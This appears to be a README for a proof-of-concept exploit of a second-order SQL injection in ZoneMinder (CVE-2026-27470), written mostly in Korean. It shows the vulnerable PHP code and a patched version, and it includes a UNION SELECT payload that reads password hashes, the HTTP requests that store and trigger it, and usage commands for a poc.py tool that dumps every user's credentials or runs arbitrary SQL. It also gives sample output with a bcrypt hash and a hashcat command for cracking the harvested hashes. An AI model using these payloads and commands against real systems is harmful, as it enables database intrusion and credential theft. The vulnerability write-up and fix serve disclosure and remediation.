
# ZoneMinder 2차 SQL 인젝션 PoC 익스플로잇 (CVE-2026-27470) ZoneMinder의 2차 SQL 인젝션에 대한 개념 증명 익스플로잇입니다. 인증된 데이터 추출(사용자 자격 증명 포함)을 시연하며, 사용자 정의 쿼리 및 해시 덤프 옵션을 지원합니다.
⚠️ YASAL UYARI / LEGAL DISCLAIMER
Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.
This tool is provided strictly for educational and authorized security research purposes. Using it against systems you do not own or do not have explicit written permission to test is illegal. Unauthorized access may violate laws such as the CFAA (US), Computer Misuse Act (UK), and equivalent legislation worldwide. The author assumes no liability for any misuse of this tool.
ZoneMinder의 2차 SQL 인젝션 취약점에 대한 개념 증명(PoC) 익스플로잇입니다. Events 편집 및 보기 권한이 있는 인증된 사용자는 모든 사용자 자격 증명을 포함한 데이터베이스의 임의 데이터를 추출할 수 있습니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-27470 |
| 심각도 | HIGH — CVSS 8.8 |
| 벡터 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 영향 범위 | ZoneMinder ≤ 1.36.37 및 1.37.61 – 1.38.0 |
| 수정 버전 | 1.36.38 / 1.38.1 |
| 파일 | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: SQL 명령의 부적절한 중화 |
| 인증 필요 | 예 — Events 편집 + 보기 권한 |
이것은 전형적인 2차(저장형) SQL 인젝션입니다. 공격은 두 개의 별도 단계로 진행되며, 이것이 전통적인 스캐너가 이를 놓치는 이유입니다.
1단계 — 안전한 쓰기
공격자는 악성 페이로드로 이벤트 이름을 변경합니다. ZoneMinder는 여기서 매개변수화된 쿼리를 올바르게 사용하므로 페이로드는 오류를 유발하지 않고 데이터베이스에 안전하게 저장됩니다:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — 안전 ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
이 시점에서 모든 것이 깨끗해 보입니다. 페이로드는 Events.Name 열에 조용히 저장되어 있습니다.
2단계 — 취약한 읽기
공격자는 동일한 이벤트 레코드에 대한 근접 이벤트를 요청하여 getNearEvents()를 트리거합니다. 이 함수는 저장된 Name 값을 데이터베이스에서 다시 읽어와 이스케이프 없이 새 SQL 쿼리에 직접 연결합니다:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~line 460 — 취약 ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← 주입 지점
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
저장된 페이로드가 문자열 컨텍스트를 벗어나고 주입된 UNION SELECT가 실행되어 JSON 응답의 NextEventId 필드에 데이터가 유출됩니다:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
개발자는 매우 흔한 실수를 저질렀습니다: 쓰기 시점에 사용자 입력을 올바르게 검증하여 거짓된 안전감을 만들었습니다. *"우리 데이터베이스의 데이터는 안전하다"*는 가정 덕분에 이 취약점이 수년간 읽기 경로에 존재할 수 있었습니다. WAF와 대부분의 자동화 스캐너는 쓰기 요청이 완전히 깨끗해 보이기 때문에 이를 감지하지 못합니다.
pip install requests
-t, --target 대상 URL (예: http://10.10.10.10:8080)
-u, --username ZoneMinder 사용자 이름
-p, --password ZoneMinder 비밀번호
--event-id 주입 전달자로 사용할 이벤트 ID
--query 실행할 사용자 정의 SQL 쿼리
--dump-users 모든 사용자 이름과 비밀번호 해시 덤프
--field 주입 필드: Name (기본값) 또는 Cause
--no-restore 익스플로잇 후 이벤트 이름 복원 안 함
# DB 버전 확인 (가장 간단한 테스트)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# 모든 사용자 및 비밀번호 해시 덤프
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# Name 대신 Cause 필드를 통한 주입
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# 사용자 정의 쿼리
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Attacker ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
# hashcat으로 수집된 해시 크랙
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name은 데이터베이스에서 varchar(64)입니다 — 주입 페이로드를 63자 미만으로 유지하세요nearevents.NextEventId에 나타납니다ZoneMinder를 1.36.38 또는 1.38.1로 업데이트하세요.
수정 사항은 문자열 연결 대신 저장된 값에 매개변수화된 쿼리 플레이스홀더를 사용하는 것입니다:
// 수정 전 (취약)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// 수정 후 (해결)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 대해 사용하지 마십시오.